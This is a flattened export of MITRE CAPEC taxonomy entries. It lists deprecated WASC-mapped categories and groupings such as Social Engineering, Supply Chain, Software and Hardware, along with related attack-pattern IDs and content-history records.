Threat Classification 2.0 - WASC-40 - Insufficient Process Validation + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Process Validation</xhtml:div> + + + + + + + + + + + + #indReferenceReference48254 + Reference_48254 + + + + + + + + + REF-316 + + + + + WASC-40 - Insufficient Process Validation + + + + + + + + + + + + #indContentHistoryContentHistory48256 + Content_History_48256 + + + + + + + + + + + + + + + + #indSubmissionSubmission48257 + Submission_48257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-374 + DEPRECATED: WASC-41 - XML Attribute Blowup + + + + + + + + + 374 + + + + + DEPRECATED: WASC-41 - XML Attribute Blowup + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XML Attribute Blowup</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48266 + Content_History_48266 + + + + + + + + + + + + + + + + #indSubmissionSubmission48267 + Submission_48267 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48272 + Modification_48272 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48278 + Modification_48278 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48284 + Previous_Entry_Name_48284 + + + + + + + + + 2020-12-17 + + + + + WASC-41 - XML Attribute Blowup + + + + + + + + + + + + #Category-375 + DEPRECATED: WASC-42 - Abuse of Functionality + + + + + + + + + 375 + + + + + DEPRECATED: WASC-42 - Abuse of Functionality + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Abuse of Functionality</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48290 + Content_History_48290 + + + + + + + + + + + + + + + + #indSubmissionSubmission48291 + Submission_48291 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48296 + Modification_48296 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48302 + Modification_48302 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48308 + Previous_Entry_Name_48308 + + + + + + + + + 2020-12-17 + + + + + WASC-42 - Abuse of Functionality + + + + + + + + + + + + #Category-376 + DEPRECATED: WASC-43 - XML External Entities + + + + + + + + + 376 + + + + + DEPRECATED: WASC-43 - XML External Entities + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XML External Entities</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48313 + Content_History_48313 + + + + + + + + + + + + + + + + #indSubmissionSubmission48314 + Submission_48314 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48319 + Modification_48319 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48325 + Modification_48325 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48331 + Previous_Entry_Name_48331 + + + + + + + + + 2020-12-17 + + + + + WASC-43 - XML External Entities + + + + + + + + + + + + #Category-377 + DEPRECATED: WASC-44 - XML Entity Expansion + + + + + + + + + 377 + + + + + DEPRECATED: WASC-44 - XML Entity Expansion + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XML Entity Expansion</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48336 + Content_History_48336 + + + + + + + + + + + + + + + + #indSubmissionSubmission48337 + Submission_48337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48342 + Modification_48342 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48348 + Modification_48348 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48354 + Previous_Entry_Name_48354 + + + + + + + + + 2020-12-17 + + + + + WASC-44 - XML Entity Expansion + + + + + + + + + + + + #Category-378 + DEPRECATED: WASC-45 - Fingerprinting + + + + + + + + + 378 + + + + + DEPRECATED: WASC-45 - Fingerprinting + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Fingerprinting</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48359 + Content_History_48359 + + + + + + + + + + + + + + + + #indSubmissionSubmission48360 + Submission_48360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48365 + Modification_48365 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48371 + Modification_48371 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48377 + Modification_48377 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48383 + Previous_Entry_Name_48383 + + + + + + + + + 2020-12-17 + + + + + WASC-45 - Fingerprinting + + + + + + + + + + + + #Category-379 + DEPRECATED: WASC-46 - XQuery Injection + + + + + + + + + 379 + + + + + DEPRECATED: WASC-46 - XQuery Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XQuery Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48388 + Content_History_48388 + + + + + + + + + + + + + + + + #indSubmissionSubmission48389 + Submission_48389 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48394 + Modification_48394 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48400 + Previous_Entry_Name_48400 + + + + + + + + + 2020-12-17 + + + + + WASC-46 - XQuery Injection + + + + + + + + + + + + #Category-380 + DEPRECATED: WASC Threat Classification 2.0 - WASC-47 - Insufficient Session Expiration + + + + + + + + + 380 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-47 - Insufficient Session Expiration + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Session Expiration</xhtml:div> + + + + + + + + + + + + #indReferenceReference48409 + Reference_48409 + + + + + + + + + REF-324 + + + + + WASC-47 - Insufficient Session Expiration + + + + + + + + + + + + #indContentHistoryContentHistory48411 + Content_History_48411 + + + + + + + + + + + + + + + + #indSubmissionSubmission48412 + Submission_48412 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-381 + DEPRECATED: WASC Threat Classification 2.0 - WASC-48 - Insecure Indexing + + + + + + + + + 381 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-48 - Insecure Indexing + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insecure Indexing</xhtml:div> + + + + + + + + + + + + #indReferenceReference48424 + Reference_48424 + + + + + + + + + REF-325 + + + + + WASC-48 - Insecure Indexing + + + + + + + + + + + + #indContentHistoryContentHistory48426 + Content_History_48426 + + + + + + + + + + + + + + + + #indSubmissionSubmission48427 + Submission_48427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-382 + DEPRECATED: WASC Threat Classification 2.0 - WASC-49 - Insufficient Password Recovery + + + + + + + + + 382 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-49 - Insufficient Password Recovery + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Password Recovery</xhtml:div> + + + + + + + + + + + + #indReferenceReference48440 + Reference_48440 + + + + + + + + + REF-326 + + + + + WASC-49 - Insufficient Password Recovery + + + + + + + + + + + + #indContentHistoryContentHistory48442 + Content_History_48442 + + + + + + + + + + + + + + + + #indSubmissionSubmission48443 + Submission_48443 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-403 + Social Engineering + + + + + + + + + 403 + + + + + Social Engineering + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the manipulation and exploitation of people. The techniques defined by each pattern are used to convince a target into performing actions or divulging confidential information that benefit the adversary, often resulting in access to computer systems or facilities. While similar to a confidence trick or simple fraud, the term typically applies to trickery or deception for the purpose of information gathering, fraud, or computer system access. In most cases, the adversary never comes face-to-face with the victim.</xhtml:div> + + + + + 137 + + + + + 151 + + + + + 154 + + + + + 173 + + + + + 184 + + + + + 410 + + + + + 416 + + + + + 607 + + + + + 690 + + + + + + + + + + + + #indContentHistoryContentHistory48463 + Content_History_48463 + + + + + + + + + + + + + + + + #indSubmissionSubmission48464 + Submission_48464 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48469 + Modification_48469 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification48475 + Modification_48475 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48481 + Modification_48481 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48487 + Modification_48487 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Relationships + + + + + + + + + + + + #Category-436 + DEPRECATED: Gain Physical Access + + + + + + + + + 436 + + + + + DEPRECATED: Gain Physical Access + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48497 + Content_History_48497 + + + + + + + + + + + + + + + + #indSubmissionSubmission48498 + Submission_48498 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48503 + Modification_48503 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48509 + Modification_48509 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48515 + Previous_Entry_Name_48515 + + + + + + + + + 2017-05-01 + + + + + Gain Physical Access + + + + + + + + + + + + #Category-437 + Supply Chain + + + + + + + + + 437 + + + + + Supply Chain + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the disruption of the supply chain lifecycle by manipulating computer system hardware, software, or services for the purpose of espionage, theft of critical data or technology, or the disruption of mission-critical operations or infrastructure. Supply chain operations are usually multi-national with parts, components, assembly, and delivery occurring across multiple countries offering an attacker multiple points for disruption.</xhtml:div> + + + + + 116 + + + + + 154 + + + + + 176 + + + + + 184 + + + + + 438 + + + + + 439 + + + + + 440 + + + + + 690 + + + + + + + + + + + + #indContentHistoryContentHistory48529 + Content_History_48529 + + + + + + + + + + + + + + + + #indSubmissionSubmission48530 + Submission_48530 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48535 + Modification_48535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48541 + Modification_48541 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification48547 + Modification_48547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48553 + Modification_48553 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48559 + Modification_48559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48565 + Modification_48565 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Relationships, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification48571 + Modification_48571 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Relationships + + + + + + + + + + + + #Category-512 + Communications + + + + + + + + + 512 + + + + + Communications + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of communications and related protocols. The techniques defined by each pattern are used by an adversary to block, manipulate, and steal communications in an attempt to achieve a desired negative technical impact.</xhtml:div> + + + + + 22 + + + + + 94 + + + + + 117 + + + + + 125 + + + + + 130 + + + + + 148 + + + + + 151 + + + + + 154 + + + + + 161 + + + + + 169 + + + + + 192 + + + + + 216 + + + + + 240 + + + + + 272 + + + + + 594 + + + + + 607 + + + + + 624 + + + + + + + + + + + + #indContentHistoryContentHistory48600 + Content_History_48600 + + + + + + + + + + + + + + + + #indSubmissionSubmission48601 + Submission_48601 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48606 + Modification_48606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48612 + Modification_48612 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48618 + Modification_48618 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48624 + Modification_48624 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48630 + Modification_48630 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #Category-513 + Software + + + + + + + + + 513 + + + + + Software + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of software applications. The techniques defined by each pattern are used to exploit these weaknesses in the application's design or implementation in an attempt to achieve a desired negative technical impact.</xhtml:div> + + + + + 21 + + + + + 22 + + + + + 25 + + + + + 26 + + + + + 28 + + + + + 74 + + + + + 94 + + + + + 112 + + + + + 113 + + + + + 114 + + + + + 115 + + + + + 116 + + + + + 117 + + + + + 122 + + + + + 123 + + + + + 124 + + + + + 125 + + + + + 129 + + + + + 130 + + + + + 131 + + + + + 137 + + + + + 148 + + + + + 151 + + + + + 153 + + + + + 154 + + + + + 161 + + + + + 165 + + + + + 169 + + + + + 173 + + + + + 175 + + + + + 176 + + + + + 184 + + + + + 188 + + + + + 212 + + + + + 224 + + + + + 227 + + + + + 233 + + + + + 240 + + + + + 242 + + + + + 248 + + + + + 272 + + + + + 410 + + + + + 438 + + + + + 441 + + + + + 548 + + + + + 549 + + + + + 554 + + + + + 560 + + + + + 586 + + + + + 594 + + + + + 607 + + + + + 690 + + + + + + + + + + + + #indContentHistoryContentHistory48694 + Content_History_48694 + + + + + + + + + + + + + + + + #indSubmissionSubmission48695 + Submission_48695 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48700 + Modification_48700 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48706 + Modification_48706 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48712 + Modification_48712 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48718 + Modification_48718 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48724 + Modification_48724 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48730 + Modification_48730 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48736 + Modification_48736 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Relationships + + + + + + + + + + + + #Category-514 + Physical Security + + + + + + + + + 514 + + + + + Physical Security + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on physical security. The techniques defined by each pattern are used to exploit weaknesses in the physical security of a system in an attempt to achieve a desired negative technical impact.</xhtml:div> + + + + + 116 + + + + + 117 + + + + + 188 + + + + + 390 + + + + + 440 + + + + + 507 + + + + + 607 + + + + + + + + + + + + #indContentHistoryContentHistory48755 + Content_History_48755 + + + + + + + + + + + + + + + + #indSubmissionSubmission48756 + Submission_48756 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48761 + Modification_48761 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48767 + Modification_48767 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48773 + Modification_48773 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Relationships + + + + + + + + + + + + #Category-515 + Hardware + + + + + + + + + 515 + + + + + Hardware + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of the physical hardware used in computing systems. The techniques defined by each pattern reflect the replacement, destruction, modification and exploitation of hardware components that make up a system in an attempt to achieve a desired negative technical impact. Attacks against hardware component fall into several broad categories depending upon the relative sophistication of the attacker and the type of systems that are targeted. Attacks against hardware components differ from software attacks in that hardware-based attacks target the chips, circuit boards, device ports, or other components that comprise a computer system or embedded system. Sophisticated attacks may involve adding or removing jumpers to an exposed system, or applying sensors to portions of the motherboard to read data as it traverses the system bus.</xhtml:div> + + + + + 26 + + + + + 74 + + + + + 113 + + + + + 114 + + + + + 116 + + + + + 122 + + + + + 124 + + + + + 148 + + + + + 151 + + + + + 154 + + + + + 161 + + + + + 176 + + + + + 188 + + + + + 192 + + + + + 212 + + + + + 233 + + + + + 438 + + + + + 439 + + + + + 440 + + + + + 441 + + + + + 548 + + + + + 560 + + + + + 607 + + + + + 624 + + + + + + + + + + + + #indContentHistoryContentHistory48809 + Content_History_48809 + + + + + + + + + + + + + + + + #indSubmissionSubmission48810 + Submission_48810 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48815 + Modification_48815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification48821 + Modification_48821 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48827 + Modification_48827 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48833 + Modification_48833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48839 + Modification_48839 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48845 + Modification_48845 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Relationships + + + + + + + + + + + + #Category-525 + DEPRECATED: Execute Code + + + + + + + + + 525 + + + + + DEPRECATED: Execute Code + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48855 + Content_History_48855 + + + + + + + + + + + + + + + + #indSubmissionSubmission48856 + Submission_48856 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48861 + Modification_48861 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indModificationModification48867 + Modification_48867 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48873 + Previous_Entry_Name_48873 + + + + + + + + + 2015-11-09 + + + + + Malicious Code Execution + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48874 + Previous_Entry_Name_48874 + + + + + + + + + 2017-05-01 + + + + + Execute Code + + + + + + + + + + + + #Category-526 + DEPRECATED: Alter System Components + + + + + + + + + 526 + + + + + DEPRECATED: Alter System Components + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48879 + Content_History_48879 + + + + + + + + + + + + + + + + #indSubmissionSubmission48880 + Submission_48880 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48885 + Modification_48885 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48891 + Modification_48891 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48897 + Modification_48897 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48903 + Previous_Entry_Name_48903 + + + + + + + + + 2017-05-01 + + + + + Alter System Components + + + + + + + + + + + + #Category-527 + DEPRECATED: Manipulate System Users + + + + + + + + + 527 + + + + + DEPRECATED: Manipulate System Users + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category has been deprecated as it is no longer used in any view.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48908 + Content_History_48908 + + + + + + + + + + + + + + + + #indSubmissionSubmission48909 + Submission_48909 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48914 + Modification_48914 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification48920 + Modification_48920 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48926 + Previous_Entry_Name_48926 + + + + + + + + + 2017-05-01 + + + + + Manipulate System Users + + + + + + + + + + + + #Category-684 + Design + + + + + + + + + 684 + + + + + Design + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Design phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 447 + + + + + + + + + + + + #indReferenceReference48935 + Reference_48935 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory48937 + Content_History_48937 + + + + + + + + + + + + + + + + #indSubmissionSubmission48938 + Submission_48938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #Category-685 + Development and Production + + + + + + + + + 685 + + + + + Development and Production + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Development and Production phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 444 + + + + + 690 + + + + + + + + + + + + #indReferenceReference48952 + Reference_48952 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory48954 + Content_History_48954 + + + + + + + + + + + + + + + + #indSubmissionSubmission48955 + Submission_48955 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #indModificationModification48960 + Modification_48960 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Relationships + + + + + + + + + + + + #Category-686 + Distribution + + + + + + + + + 686 + + + + + Distribution + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Distribution phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 439 + + + + + + + + + + + + #indReferenceReference48974 + Reference_48974 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory48976 + Content_History_48976 + + + + + + + + + + + + + + + + #indSubmissionSubmission48977 + Submission_48977 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #Category-687 + Acquisition and Deployment + + + + + + + + + 687 + + + + + Acquisition and Deployment + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Acquisition and Deployment phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 536 + + + + + + + + + + + + #indReferenceReference48990 + Reference_48990 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory48992 + Content_History_48992 + + + + + + + + + + + + + + + + #indSubmissionSubmission48993 + Submission_48993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #Category-688 + Sustainment + + + + + + + + + 688 + + + + + Sustainment + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Sustainment phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 184 + + + + + 440 + + + + + 444 + + + + + 536 + + + + + 690 + + + + + + + + + + + + #indReferenceReference49010 + Reference_49010 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory49012 + Content_History_49012 + + + + + + + + + + + + + + + + #indSubmissionSubmission49013 + Submission_49013 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #indModificationModification49018 + Modification_49018 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Relationships + + + + + + + + + + + + #Category-689 + Disposal + + + + + + + + + 689 + + + + + Disposal + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attack patterns within this category focus on the exploitation of weaknesses within the Disposal phase of the CISA Supply Chain Lifecycle.</xhtml:div> + + + + + 675 + + + + + + + + + + + + #indReferenceReference49032 + Reference_49032 + + + + + + + + + REF-718 + + + + + + + + + + + + #indContentHistoryContentHistory49034 + Content_History_49034 + + + + + + + + + + + + + + + + #indSubmissionSubmission49035 + Submission_49035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #View-1000 + Mechanisms of Attack + + + + + + + + + 1000 + + + + + Mechanisms of Attack + + + + + + + + + + + + + + + <xhtml:div 